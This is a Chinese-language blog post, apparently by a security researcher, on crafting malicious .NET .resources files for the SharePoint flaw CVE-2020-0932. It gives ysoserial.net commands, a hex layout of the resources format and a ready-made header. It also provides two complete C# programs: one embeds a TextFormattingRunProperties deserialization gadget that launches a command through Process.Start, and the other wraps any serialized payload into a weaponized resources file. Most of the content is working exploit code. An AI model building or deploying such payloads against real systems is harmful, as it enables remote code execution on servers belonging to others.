0x00 事因
在研究CVE-2020-0932[1]过程中,Payload使用的是ysoserial.net[2]中的TypeConfuseDelegate gadget 然后编译成resources。在进一步尝试中发现TextFormattingRunProperties等 gadget 会因为执行完Payload报错程序终止等错误，并不能直接生成resources或者RESX编译成resources。
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "calc" -o base64
Google 无果后请教@zcgonvh师傅后感觉最直接的解决办法是：
1.根据Resources格式自己构造2.根据ResourceSetGenerator[3]修改
0x01 ResourceSetGenerator
整个源码看来比较像是作者构造的Resource格式然后bfSerializedObj = AdvancedBinaryFormatterParser.JsonToStream(payload).ToArray();
* // This is how ResourceSet can be used directly but the payload would fire!object generatedPayload = TypeConfuseDelegateGenerator.TypeConfuseDelegateGadget(inputArgs);using (ResourceWriter rw = new ResourceWriter(@".ResourceSetGenerator.resources")){rw.AddResource("", generatedPayload);rw.Generate();rw.Close();}// Payload will be executed once here which is annoying but without surgical insertion or something to parse binaryformatter objects, it is quite hard to prevent thisResourceSet myResourceSet = new ResourceSet(@".ResourceSetGenerator.resources");// TextFormattingRunPropertiesGenerator is the preferred method due to its short length. However, we need to insert it manually into a serialized object as ResourceSet cannot tolerate it//*/
通过注释内容确实是成功生成ResourceSetGenerator.resources 但是通过ResourceSet无法触发成功。在这里徘徊了很久放弃了直接生成这条路。
0x02 修改二进制文件
这里我也去TW问了ResourceSetGenerator[4]的作者@irsdl，他给我的答复也是这个是可行的。
我尝试查阅resources格式之类的文档，但是没有收获，然后只能自己看看.net的源码，生成resources的相关文件是ResourceWriter[5]通过源码可以分析出来（猜），Generate()函数包含整个resources构造的过程。
由于.net 框架源码有很人性的注释，大概可以看懂每一步在干什么。
// Write out the ResourceManager header// Write out magic numberbw.Write(ResourceManager.MagicNumber); //写入resources标识头 （0xBEEFCACE）// Write out ResourceManager header version numberbw.Write(ResourceManager.HeaderVersionNumber); //写入Header版本 （01）...
由于基本功弱还是动态调试.net源码分析了一下过程,整个结构大概如下：
CECAEFBE 标识头//0xBEEFCACE01 ResourceManager头版本00000091 ResMgr header总字节数0000006C ResMgr header 长度53797374656D2E5265736F75726365732E5265736F757263655265616465722C206D73636F726C69622C2056657273696F6E3D342E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D623737613563353631393334653038392353797374656D2E5265736F75726365732E52756E74696D655265736F75726365536574 //ResMgr02 版本//File format version number00000001 //resources数量00000001 //type数量00000050 //typeNames 长度446F6E6F72436F6C756D6E732C20436F6E736F6C65417070332C2056657273696F6E3D312E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D6E756C6C //typeNames504144504144 //pad填充8500950D //hash00000000 //pos1B010000 //start Of DataSection0A5400690074006C00650000000000 //name Section400001000000FFFFFFFF01000000000000000C0200000042436F6E736F6C65417070332C2056657273696F6E3D312E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D6E756C6C05010000000C446F6E6F72436F6C756D6E7305000000024944044E616D6505546F74616C044C61737403416D74010101010102000000060300000009456D706C79656520230604000000044E616D6506050000000C546F74616C20416D6F756E740606000000124C61737420446F6E6174696F6E20446174650607000000144C61737420446F6E6174696F6E20416D6F756E740B //data section
差多知道结构了，我们只需要用TypeConfuseDelegate gadget 然后编译成resources 然后替换data section就可以了。
注：这里从
data section的40开始替换
0x03 验证
下载ysoserial.net[6] 编译
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "calc" -o raw >111.bin
转hex填充到后面，然后hex转bin
CECAEFBE01000000910000006C53797374656D2E5265736F75726365732E5265736F757263655265616465722C206D73636F726C69622C2056657273696F6E3D342E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D623737613563353631393334653038392353797374656D2E5265736F75726365732E52756E74696D655265736F75726365536574020000000100000001000000CF0153797374656D2E436F6C6C656374696F6E732E47656E657269632E536F7274656453657460315B5B53797374656D2E537472696E672C206D73636F726C69622C2056657273696F6E3D342E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D623737613563353631393334653038395D5D2C2053797374656D2C2056657273696F6E3D342E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D623737613563353631393334653038395041445041447B5645BF00000000BF0100002E420069006E0061007200790046006F0072006D00610074007400650072005F005000610079006C006F00610064000000000040
或者使用懒人版本
CODE -TextFormattingRunProperties
using System;using System.IO;using System.Linq;using System.Runtime.Serialization;using System.Runtime.Serialization.Formatters.Binary;namespace ConsoleApp1{class Program{static void Main(string[] args){byte[] Resources_bin;string cmd = "calc";string payload = @"<ResourceDictionaryxmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""xmlns:System=""clr-namespace:System;assembly=mscorlib""xmlns:Diag=""clr-namespace:System.Diagnostics;assembly=system""><ObjectDataProvider x:Key=""LaunchCalc"" ObjectType = ""{ x:Type Diag:Process}"" MethodName = ""Start"" ><ObjectDataProvider.MethodParameters><System:String>cmd</System:String><System:String>/c """ + cmd + @""" </System:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>";string Resources_header = "CECAEFBE01000000910000006C53797374656D2E5265736F75726365732E5265736F757263655265616465722" +"C206D73636F726C69622C2056657273696F6E3D342E302E302E302C2043756C747572653D6E65757472616C2C" +"205075626C69634B6579546F6B656E3D623737613563353631393334653038392353797374656D2E5265736F7" +"5726365732E52756E74696D655265736F75726365536574020000000100000001000000CF0153797374656D2E" +"436F6C6C656374696F6E732E47656E657269632E536F7274656453657460315B5B53797374656D2E537472696" +"E672C206D73636F726C69622C2056657273696F6E3D342E302E302E302C2043756C747572653D6E6575747261" +"6C2C205075626C69634B6579546F6B656E3D623737613563353631393334653038395D5D2C2053797374656D2" +"C2056657273696F6E3D342E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579" +"546F6B656E3D623737613563353631393334653038395041445041447B5645BF00000000BF0100002E4200690" +"06E0061007200790046006F0072006D00610074007400650072005F005000610079006C006F00610064000000" +"000040";Object obj = new TextFormattingRunPropertiesMarshal(payload);BinaryFormatter fmt = new BinaryFormatter();MemoryStream ms = new MemoryStream();fmt.Serialize(ms, obj);ms.Position = 0;string TextFormattingRunPropertiesString = string.Concat(ms.GetBuffer().Select(b => b.ToString("X2")).ToArray());ms.Close();Resources_bin = HexToByte(Resources_header + TextFormattingRunPropertiesString);File.WriteAllBytes("111.resources", Resources_bin);}public static byte[] HexToByte(string hex){return Enumerable.Range(0, hex.Length).Where(x => x % 2 == 0).Select(x => Convert.ToByte(hex.Substring(x, 2), 16)).ToArray();}[Serializable]public class TextFormattingRunPropertiesMarshal : ISerializable{string _xaml;public void GetObjectData(SerializationInfo info, StreamingContext context){Type t = Type.GetType("Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties, Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");info.SetType(t);info.AddValue("ForegroundBrush", _xaml);}public TextFormattingRunPropertiesMarshal(string xaml){_xaml = xaml;}}}}
这个payload就可以用于验证回显之类的了
通用替换
using System;using System.Collections.Generic;using System.IO;using System.Linq;using System.Text;using System.Threading.Tasks;namespace test{class Program{static void Main(string[] args){if (args.Length != 1){Console.WriteLine("Please provide necessary information:");Console.WriteLine("ResourcesPayload.exe <file>");Console.WriteLine("Example: ResourcesPayload.exe c;\1.bin");return;}string file = args[0];byte[] ResourcesDataSection;string Resources_header = "CECAEFBE01000000910000006C53797374656D2E5265736F75726365732E5265736F757263655265616465722" +"C206D73636F726C69622C2056657273696F6E3D342E302E302E302C2043756C747572653D6E65757472616C2C" +"205075626C69634B6579546F6B656E3D623737613563353631393334653038392353797374656D2E5265736F7" +"5726365732E52756E74696D655265736F75726365536574020000000100000001000000CF0153797374656D2E" +"436F6C6C656374696F6E732E47656E657269632E536F7274656453657460315B5B53797374656D2E537472696" +"E672C206D73636F726C69622C2056657273696F6E3D342E302E302E302C2043756C747572653D6E6575747261" +"6C2C205075626C69634B6579546F6B656E3D623737613563353631393334653038395D5D2C2053797374656D2" +"C2056657273696F6E3D342E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579" +"546F6B656E3D623737613563353631393334653038395041445041447B5645BF00000000BF0100002E4200690" +"06E0061007200790046006F0072006D00610074007400650072005F005000610079006C006F00610064000000" +"000040";FileStream fs = new FileStream(file, FileMode.Open);byte[] TextFormattingRunPropertiesString = new byte[fs.Length];fs.Read(TextFormattingRunPropertiesString, 0, TextFormattingRunPropertiesString.Length);ResourcesDataSection = HexToByte(Resources_header);byte[] Resources_new = new byte[TextFormattingRunPropertiesString.Length + ResourcesDataSection.Length];ResourcesDataSection.CopyTo(Resources_new, 0);TextFormattingRunPropertiesString.CopyTo(Resources_new, ResourcesDataSection.Length);System.IO.File.WriteAllBytes("payload.resources", Resources_new);fs.Close();}public static byte[] HexToByte(string hex){return Enumerable.Range(0, hex.Length).Where(x => x % 2 == 0).Select(x => Convert.ToByte(hex.Substring(x, 2), 16)).ToArray();}}}
0x04 CVE-2020-0932
然后配合 ActivitySurrogateSelectorGenerator 就可以解决CVE-2020-0932的回显问题。
0x05 结尾
用了几天时间解决这个问题，感觉自己的基础水平还是太弱了=。=
相关源码已上传GitHub：https://github.com/aleenzz/ResourcesPayload
参考：
[1] http://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html （CVE-2020-0688的武器化与.net反序列化漏洞那些事）
[2] https://referencesource.microsoft.com/#mscorlib/system/resources/resourcewriter.cs
[3] https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters（CVE-2020-0932[7] SHAREPOINT远程代码执行漏洞 ）
[4] https://www.anquanke.com/post/id/154049 (对ASP.NET资源文件（.RESX）及反序列化漏洞的研究)
由于太忙很久没发文章 =。= ，最后圈子牛逼！！！
References
[1] CVE-2020-0932: https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters[2] ysoserial.net: https://github.com/pwntester/ysoserial.net[3] ResourceSetGenerator: https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Generators/ResourceSetGenerator.cs[4] ResourceSetGenerator: https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Generators/ResourceSetGenerator.cs[5] ResourceWriter: https://referencesource.microsoft.com/#mscorlib/system/resources/resourcewriter.cs[6] ysoserial.net: https://github.com/pwntester/ysoserial.net/releases/download/v1.33/ysoserial-1.33.zip[7] https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters（CVE-2020-0932: https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters%EF%BC%88CVE-2020-0932
写在结尾
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